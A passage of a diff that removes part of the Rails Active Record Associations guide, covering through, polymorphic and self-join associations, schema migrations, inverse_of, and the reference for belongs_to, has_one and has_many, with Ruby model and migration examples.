-WARNING: Automatic deletion of join models is direct, no destroy callbacks are triggered.
-
-The +has_many :through+ association is also useful for setting up "shortcuts" through nested +has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
-
-<ruby>
-class Document < ActiveRecord::Base
- has_many :sections
- has_many :paragraphs, :through => :sections
-end
-
-class Section < ActiveRecord::Base
- belongs_to :document
- has_many :paragraphs
-end
-
-class Paragraph < ActiveRecord::Base
- belongs_to :section
-end
-</ruby>
-
-With +:through => :sections+ specified, Rails will now understand:
-
-<ruby>
-@document.paragraphs
-</ruby>
-
-h4. The +has_one :through+ Association
-
-A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account
- has_one :account_history, :through => :account
-end
-
-class Account < ActiveRecord::Base
- belongs_to :supplier
- has_one :account_history
-end
-
-class AccountHistory < ActiveRecord::Base
- belongs_to :account
-end
-</ruby>
-
-!images/has_one_through.png(has_one :through Association Diagram)!
-
-h4. The +has_and_belongs_to_many+ Association
-
-A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
-
-<ruby>
-class Assembly < ActiveRecord::Base
- has_and_belongs_to_many :parts
-end
-
-class Part < ActiveRecord::Base
- has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-!images/habtm.png(has_and_belongs_to_many Association Diagram)!
-
-h4. Choosing Between +belongs_to+ and +has_one+
-
-If you want to set up a one-to-one relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
-
-The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account
-end
-
-class Account < ActiveRecord::Base
- belongs_to :supplier
-end
-</ruby>
-
-The corresponding migration might look like this:
-
-<ruby>
-class CreateSuppliers < ActiveRecord::Migration
- def change
- create_table :suppliers do |t|
- t.string :name
- t.timestamps
- end
-
- create_table :accounts do |t|
- t.integer :supplier_id
- t.string :account_number
- t.timestamps
- end
- end
-end
-</ruby>
-
-NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead.
-
-h4. Choosing Between +has_many :through+ and +has_and_belongs_to_many+
-
-Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly:
-
-<ruby>
-class Assembly < ActiveRecord::Base
- has_and_belongs_to_many :parts
-end
-
-class Part < ActiveRecord::Base
- has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-The second way to declare a many-to-many relationship is to use +has_many :through+. This makes the association indirectly, through a join model:
-
-<ruby>
-class Assembly < ActiveRecord::Base
- has_many :manifests
- has_many :parts, :through => :manifests
-end
-
-class Manifest < ActiveRecord::Base
- belongs_to :assembly
- belongs_to :part
-end
-
-class Part < ActiveRecord::Base
- has_many :manifests
- has_many :assemblies, :through => :manifests
-end
-</ruby>
-
-The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table in the database).
-
-You should use +has_many :through+ if you need validations, callbacks, or extra attributes on the join model.
-
-h4. Polymorphic Associations
-
-A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
-
-<ruby>
-class Picture < ActiveRecord::Base
- belongs_to :imageable, :polymorphic => true
-end
-
-class Employee < ActiveRecord::Base
- has_many :pictures, :as => :imageable
-end
-
-class Product < ActiveRecord::Base
- has_many :pictures, :as => :imageable
-end
-</ruby>
-
-You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+.
-
-Similarly, you can retrieve +@product.pictures+.
-
-If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
-
-<ruby>
-class CreatePictures < ActiveRecord::Migration
- def change
- create_table :pictures do |t|
- t.string :name
- t.integer :imageable_id
- t.string :imageable_type
- t.timestamps
- end
- end
-end
-</ruby>
-
-This migration can be simplified by using the +t.references+ form:
-
-<ruby>
-class CreatePictures < ActiveRecord::Migration
- def change
- create_table :pictures do |t|
- t.string :name
- t.references :imageable, :polymorphic => true
- t.timestamps
- end
- end
-end
-</ruby>
-
-!images/polymorphic.png(Polymorphic Association Diagram)!
-
-h4. Self Joins
-
-In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
-
-<ruby>
-class Employee < ActiveRecord::Base
- has_many :subordinates, :class_name => "Employee",
- :foreign_key => "manager_id"
- belongs_to :manager, :class_name => "Employee"
-end
-</ruby>
-
-With this setup, you can retrieve +@employee.subordinates+ and +@employee.manager+.
-
-h3. Tips, Tricks, and Warnings
-
-Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
-
-* Controlling caching
-* Avoiding name collisions
-* Updating the schema
-* Controlling association scope
-* Bi-directional associations
-
-h4. Controlling Caching
-
-All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
-
-<ruby>
-customer.orders # retrieves orders from the database
-customer.orders.size # uses the cached copy of orders
-customer.orders.empty? # uses the cached copy of orders
-</ruby>
-
-But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass +true+ to the association call:
-
-<ruby>
-customer.orders # retrieves orders from the database
-customer.orders.size # uses the cached copy of orders
-customer.orders(true).empty? # discards the cached copy of orders
- # and goes back to the database
-</ruby>
-
-h4. Avoiding Name Collisions
-
-You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of +ActiveRecord::Base+. The association method would override the base method and break things. For instance, +attributes+ or +connection+ are bad names for associations.
-
-h4. Updating the Schema
-
-Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For +belongs_to+ associations you need to create foreign keys, and for +has_and_belongs_to_many+ associations you need to create the appropriate join table.
-
-h5. Creating Foreign Keys for +belongs_to+ Associations
-
-When you declare a +belongs_to+ association, you need to create foreign keys as appropriate. For example, consider this model:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer
-end
-</ruby>
-
-This declaration needs to be backed up by the proper foreign key declaration on the orders table:
-
-<ruby>
-class CreateOrders < ActiveRecord::Migration
- def change
- create_table :orders do |t|
- t.datetime :order_date
- t.string :order_number
- t.integer :customer_id
- end
- end
-end
-</ruby>
-
-If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key.
-
-h5. Creating Join Tables for +has_and_belongs_to_many+ Associations
-
-If you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
-
-WARNING: The precedence between model names is calculated using the +&lt;+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings).
-
-Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
-
-<ruby>
-class Assembly < ActiveRecord::Base
- has_and_belongs_to_many :parts
-end
-
-class Part < ActiveRecord::Base
- has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-These need to be backed up by a migration to create the +assemblies_parts+ table. This table should be created without a primary key:
-
-<ruby>
-class CreateAssemblyPartJoinTable < ActiveRecord::Migration
- def change
- create_table :assemblies_parts, :id => false do |t|
- t.integer :assembly_id
- t.integer :part_id
- end
- end
-end
-</ruby>
-
-We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit.
-
-h4. Controlling Association Scope
-
-By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
-
-<ruby>
-module MyApplication
- module Business
- class Supplier < ActiveRecord::Base
- has_one :account
- end
-
- class Account < ActiveRecord::Base
- belongs_to :supplier
- end
- end
-end
-</ruby>
-
-This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But the following will _not_ work, because +Supplier+ and +Account+ are defined in different scopes:
-
-<ruby>
-module MyApplication
- module Business
- class Supplier < ActiveRecord::Base
- has_one :account
- end
- end
-
- module Billing
- class Account < ActiveRecord::Base
- belongs_to :supplier
- end
- end
-end
-</ruby>
-
-To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:
-
-<ruby>
-module MyApplication
- module Business
- class Supplier < ActiveRecord::Base
- has_one :account,
- :class_name => "MyApplication::Billing::Account"
- end
- end
-
- module Billing
- class Account < ActiveRecord::Base
- belongs_to :supplier,
- :class_name => "MyApplication::Business::Supplier"
- end
- end
-end
-</ruby>
-
-h4. Bi-directional Associations
-
-It's normal for associations to work in two directions, requiring declaration on two different models:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-
-class Order < ActiveRecord::Base
- belongs_to :customer
-end
-</ruby>
-
-By default, Active Record doesn't know about the connection between these associations. This can lead to two copies of an object getting out of sync:
-
-<ruby>
-c = Customer.first
-o = c.orders.first
-c.first_name == o.customer.first_name # => true
-c.first_name = 'Manny'
-c.first_name == o.customer.first_name # => false
-</ruby>
-
-This happens because c and o.customer are two different in-memory representations of the same data, and neither one is automatically refreshed from changes to the other. Active Record provides the +:inverse_of+ option so that you can inform it of these relations:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, :inverse_of => :customer
-end
-
-class Order < ActiveRecord::Base
- belongs_to :customer, :inverse_of => :orders
-end
-</ruby>
-
-With these changes, Active Record will only load one copy of the customer object, preventing inconsistencies and making your application more efficient:
-
-<ruby>
-c = Customer.first
-o = c.orders.first
-c.first_name == o.customer.first_name # => true
-c.first_name = 'Manny'
-c.first_name == o.customer.first_name # => true
-</ruby>
-
-There are a few limitations to +inverse_of+ support:
-
-* They do not work with <tt>:through</tt> associations.
-* They do not work with <tt>:polymorphic</tt> associations.
-* They do not work with <tt>:as</tt> associations.
-* For +belongs_to+ associations, +has_many+ inverse associations are ignored.
-
-h3. Detailed Association Reference
-
-The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
-
-h4. +belongs_to+ Association Reference
-
-The +belongs_to+ association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use +has_one+ instead.
-
-h5. Methods Added by +belongs_to+
-
-When you declare a +belongs_to+ association, the declaring class automatically gains four methods related to the association:
-
-* <tt><em>association</em>(force_reload = false)</tt>
-* <tt><em>association</em>=(associate)</tt>
-* <tt>build_<em>association</em>(attributes = {})</tt>
-* <tt>create_<em>association</em>(attributes = {})</tt>
-
-In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer
-end
-</ruby>
-
-Each instance of the order model will have these methods:
-
-<ruby>
-customer
-customer=
-build_customer
-create_customer
-</ruby>
-
-NOTE: When initializing a new +has_one+ or +belongs_to+ association you must use the +build_+ prefix to build the association, rather than the +association.build+ method that would be used for +has_many+ or +has_and_belongs_to_many+ associations. To create one, use the +create_+ prefix.
-
-h6(#belongs_to-association). <tt><em>association</em>(force_reload = false)</tt>
-
-The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
-
-<ruby>
-@customer = @order.customer
-</ruby>
-
-If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
-
-h6(#belongs_to-association_equal). <tt>_association_=(associate)</tt>
-
-The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
-
-<ruby>
-@order.customer = @customer
-</ruby>
-
-h6(#belongs_to-build_association). <tt>build_<em>association</em>(attributes = {})</tt>
-
-The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
-
-<ruby>
-@customer = @order.build_customer(:customer_number => 123,
- :customer_name => "John Doe")
-</ruby>
-
-h6(#belongs_to-create_association). <tt>create_<em>association</em>(attributes = {})</tt>
-
-The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-
-<ruby>
-@customer = @order.create_customer(:customer_number => 123,
- :customer_name => "John Doe")
-</ruby>
-
-
-h5. Options for +belongs_to+
-
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +belongs_to+ association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this assocation uses two such options:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, :dependent => :destroy,
- :counter_cache => true
-end
-</ruby>
-
-The +belongs_to+ association supports these options:
-
-* +:autosave+
-* +:class_name+
-* +:counter_cache+
-* +:dependent+
-* +:foreign_key+
-* +:inverse_of+
-* +:polymorphic+
-* +:touch+
-* +:validate+
-
-h6(#belongs_to-autosave). +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6(#belongs_to-class_name). +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is +Patron+, you'd set things up this way:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, :class_name => "Patron"
-end
-</ruby>
-
-h6(#belongs_to-counter_cache). +:counter_cache+
-
-The +:counter_cache+ option can be used to make finding the number of belonging objects more efficient. Consider these models:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer
-end
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-With these declarations, asking for the value of +@customer.orders.size+ requires making a call to the database to perform a +COUNT(*)+ query. To avoid this call, you can add a counter cache to the _belonging_ model:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, :counter_cache => true
-end
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +size+ method.
-
-Although the +:counter_cache+ option is specified on the model that includes the +belongs_to+ declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named +orders_count+ to the +Customer+ model. You can override the default column name if you need to:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, :counter_cache => :count_of_orders
-end
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-Counter cache columns are added to the containing model's list of read-only attributes through +attr_readonly+.
-
-h6(#belongs_to-dependent). +:dependent+
-
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method.
-
-WARNING: You should not specify this option on a +belongs_to+ association that is connected with a +has_many+ association on the other class. Doing so can lead to orphaned records in your database.
-
-h6(#belongs_to-foreign_key). +:foreign_key+
-
-By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, :class_name => "Patron",
- :foreign_key => "patron_id"
-end
-</ruby>
-
-TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-
-h6(#belongs_to-inverse_of). +:inverse_of+
-
-The +:inverse_of+ option specifies the name of the +has_many+ or +has_one+ association that is the inverse of this association. Does not work in combination with the +:polymorphic+ options.
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, :inverse_of => :customer
-end
-
-class Order < ActiveRecord::Base
- belongs_to :customer, :inverse_of => :orders
-end
-</ruby>
-
-h6(#belongs_to-polymorphic). +:polymorphic+
-
-Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
-
-h6(#belongs_to-touch). +:touch+
-
-If you set the +:touch+ option to +:true+, then the +updated_at+ or +updated_on+ timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, :touch => true
-end
-
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-In this case, saving or destroying an order will update the timestamp on the associated customer. You can also specify a particular timestamp attribute to update:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, :touch => :orders_updated_at
-end
-</ruby>
-
-h6(#belongs_to-validate). +:validate+
-
-If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
-
-h5(#belongs_to-scopes_for_belongs_to). Scopes for +belongs_to+
-
-There may be times when you wish to customize the query used by +belongs_to+. Such customizations can be achieved via a scope block. For example:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, -> { where :active => true },
- :dependent => :destroy
-end
-</ruby>
-
-You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
-
-* +where+
-* +includes+
-* +readonly+
-* +select+
-
-h6(#belongs_to-where). +where+
-
-The +where+ method lets you specify the conditions that the associated object must meet.
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, -> { where :active => true }
-end
-</ruby>
-
-h6(#belongs_to-includes). +includes+
-
-You can use the +includes+ method let you specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-
-<ruby>
-class LineItem < ActiveRecord::Base
- belongs_to :order
-end
-
-class Order < ActiveRecord::Base
- belongs_to :customer
- has_many :line_items
-end
-
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-If you frequently retrieve customers directly from line items (+@line_item.order.customer+), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
-
-<ruby>
-class LineItem < ActiveRecord::Base
- belongs_to :order, -> { includes :customer }
-end
-
-class Order < ActiveRecord::Base
- belongs_to :customer
- has_many :line_items
-end
-
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-NOTE: There's no need to use +includes+ for immediate associations - that is, if you have +Order belongs_to :customer+, then the customer is eager-loaded automatically when it's needed.
-
-h6(#belongs_to-readonly). +readonly+
-
-If you use +readonly+, then the associated object will be read-only when retrieved via the association.
-
-h6(#belongs_to-select). +select+
-
-The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
-
-TIP: If you use the +select+ method on a +belongs_to+ association, you should also set the +:foreign_key+ option to guarantee the correct results.
-
-h5(#belongs_to-do_any_associated_objects_exist). Do Any Associated Objects Exist?
-
-You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method:
-
-<ruby>
-if @order.customer.nil?
- @msg = "No customer found for this order"
-end
-</ruby>
-
-h5(#belongs_to-when_are_objects_saved). When are Objects Saved?
-
-Assigning an object to a +belongs_to+ association does _not_ automatically save the object. It does not save the associated object either.
-
-h4. +has_one+ Association Reference
-
-The +has_one+ association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use +belongs_to+ instead.
-
-h5. Methods Added by +has_one+
-
-When you declare a +has_one+ association, the declaring class automatically gains four methods related to the association:
-
-* <tt><em>association</em>(force_reload = false)</tt>
-* <tt><em>association</em>=(associate)</tt>
-* <tt>build_<em>association</em>(attributes = {})</tt>
-* <tt>create_<em>association</em>(attributes = {})</tt>
-
-In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account
-end
-</ruby>
-
-Each instance of the +Supplier+ model will have these methods:
-
-<ruby>
-account
-account=
-build_account
-create_account
-</ruby>
-
-NOTE: When initializing a new +has_one+ or +belongs_to+ association you must use the +build_+ prefix to build the association, rather than the +association.build+ method that would be used for +has_many+ or +has_and_belongs_to_many+ associations. To create one, use the +create_+ prefix.
-
-h6(#has_one-association). <tt><em>association</em>(force_reload = false)</tt>
-
-The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
-
-<ruby>
-@account = @supplier.account
-</ruby>
-
-If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
-
-h6(#has_one-association_equal). <tt><em>association</em>=(associate)</tt>
-
-The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
-
-<ruby>
-@supplier.account = @account
-</ruby>
-
-h6(#has_one-build_association). <tt>build_<em>association</em>(attributes = {})</tt>
-
-The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
-
-<ruby>
-@account = @supplier.build_account(:terms => "Net 30")
-</ruby>
-
-h6(#has_one-create_association). <tt>create_<em>association</em>(attributes = {})</tt>
-
-The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-
-<ruby>
-@account = @supplier.create_account(:terms => "Net 30")
-</ruby>
-
-h5. Options for +has_one+
-
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_one+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account, :class_name => "Billing", :dependent => :nullify
-end
-</ruby>
-
-The +has_one+ association supports these options:
-
-* +:as+
-* +:autosave+
-* +:class_name+
-* +:dependent+
-* +:foreign_key+
-* +:inverse_of+
-* +:primary_key+
-* +:source+
-* +:source_type+
-* +:through+
-* +:validate+
-
-h6(#has_one-as). +:as+
-
-Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
-
-h6(#has_one-autosave). +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6(#has_one-class_name). +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is +Billing+, you'd set things up this way:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account, :class_name => "Billing"
-end
-</ruby>
-
-h6(#has_one-dependent). +:dependent+
-
-Controls what happens to the associated object when its owner is destroyed:
-
-* +:destroy+ causes the associated object to also be destroyed
-* +:delete+ causes the asssociated object to be deleted directly from the database (so callbacks will not execute)
-* +:nullify+ causes the foreign key to be set to +NULL+. Callbacks are not executed.
-* +:restrict_with_exception+ causes an exception to be raised if there is an associated record
-* +:restrict_with_error+ causes an error to be added to the owner if there is an associated object
-
-h6(#has_one-foreign_key). +:foreign_key+
-
-By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account, :foreign_key => "supp_id"
-end
-</ruby>
-
-TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-
-h6(#has_one-inverse_of). +:inverse_of+
-
-The +:inverse_of+ option specifies the name of the +belongs_to+ association that is the inverse of this association. Does not work in combination with the +:through+ or +:as+ options.
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account, :inverse_of => :supplier
-end
-
-class Account < ActiveRecord::Base
- belongs_to :supplier, :inverse_of => :account
-end
-</ruby>
-
-h6(#has_one-primary_key). +:primary_key+
-
-By convention, Rails assumes that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
-
-h6(#has_one-source). +:source+
-
-The +:source+ option specifies the source association name for a +has_one :through+ association.
-
-h6(#has_one-source_type). +:source_type+
-
-The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association.
-
-h6(#has_one-through). +:through+
-
-The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations were discussed in detail <a href="#the-has_one-through-association">earlier in this guide</a>.
-
-h6(#has_one-validate). +:validate+
-
-If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
-
-h5(#belongs_to-scopes_for_has_one). Scopes for +has_one+
-
-There may be times when you wish to customize the query used by +has_one+. Such customizations can be achieved via a scope block. For example:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account, -> { where :active => true }
-end
-</ruby>
-
-You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
-
-* +where+
-* +includes+
-* +readonly+
-* +select+
-
-h6(#has_one-where). +where+
-
-The +where+ method lets you specify the conditions that the associated object must meet.
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account, -> { where "confirmed = 1" }
-end
-</ruby>
-
-h6(#has_one-includes). +includes+
-
-You can use the +includes+ method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account
-end
-
-class Account < ActiveRecord::Base
- belongs_to :supplier
- belongs_to :representative
-end
-
-class Representative < ActiveRecord::Base
- has_many :accounts
-end
-</ruby>
-
-If you frequently retrieve representatives directly from suppliers (+@supplier.account.representative+), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account, -> { includes :representative }
-end
-
-class Account < ActiveRecord::Base
- belongs_to :supplier
- belongs_to :representative
-end
-
-class Representative < ActiveRecord::Base
- has_many :accounts
-end
-</ruby>
-
-h6(#has_one-readonly). +readonly+
-
-If you use the +readonly+ method, then the associated object will be read-only when retrieved via the association.
-
-h6(#has_one-select). +select+
-
-The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
-
-h5(#has_one-do_any_associated_objects_exist). Do Any Associated Objects Exist?
-
-You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method:
-
-<ruby>
-if @supplier.account.nil?
- @msg = "No account found for this supplier"
-end
-</ruby>
-
-h5(#has_one-when_are_objects_saved). When are Objects Saved?
-
-When you assign an object to a +has_one+ association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
-
-If either of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
-
-If the parent object (the one declaring the +has_one+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved. They will automatically when the parent object is saved.
-
-If you want to assign an object to a +has_one+ association without saving the object, use the <tt><em>association</em>.build</tt> method.
-
-h4. +has_many+ Association Reference
-
-The +has_many+ association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
-
-h5. Methods Added by +has_many+
-
-When you declare a +has_many+ association, the declaring class automatically gains 13 methods related to the association:
-
-* <tt><em>collection</em>(force_reload = false)</tt>
-* <tt><em>collection</em><<(object, ...)</tt>
-* <tt><em>collection</em>.delete(object, ...)</tt>
-* <tt><em>collection</em>=objects</tt>
-* <tt><em>collection_singular</em>_ids</tt>
-* <tt><em>collection_singular</em>_ids=ids</tt>
-* <tt><em>collection</em>.clear</tt>
-* <tt><em>collection</em>.empty?</tt>
-* <tt><em>collection</em>.size</tt>
-* <tt><em>collection</em>.find(...)</tt>
-* <tt><em>collection</em>.where(...)</tt>
-* <tt><em>collection</em>.exists?(...)</tt>
-* <tt><em>collection</em>.build(attributes = {}, ...)</tt>
-* <tt><em>collection</em>.create(attributes = {})</tt>
-
-In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-Each instance of the customer model will have these methods:
-
-<ruby>
-orders(force_reload = false)
-orders<<(object, ...)
-orders.delete(object, ...)
-orders=objects
-order_ids
-order_ids=ids
-orders.clear
-orders.empty?
-orders.size
-orders.find(...)
-orders.where(...)
-orders.exists?(...)
-orders.build(attributes = {}, ...)
-orders.create(attributes = {})
-</ruby>
-
-h6(#has_many-collection). <tt><em>collection</em>(force_reload = false)</tt>
-
-The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
-
-<ruby>
-@orders = @customer.orders
-</ruby>
-
-h6(#has_many-collection-lt_lt). <tt><em>collection</em><<(object, ...)</tt>
-
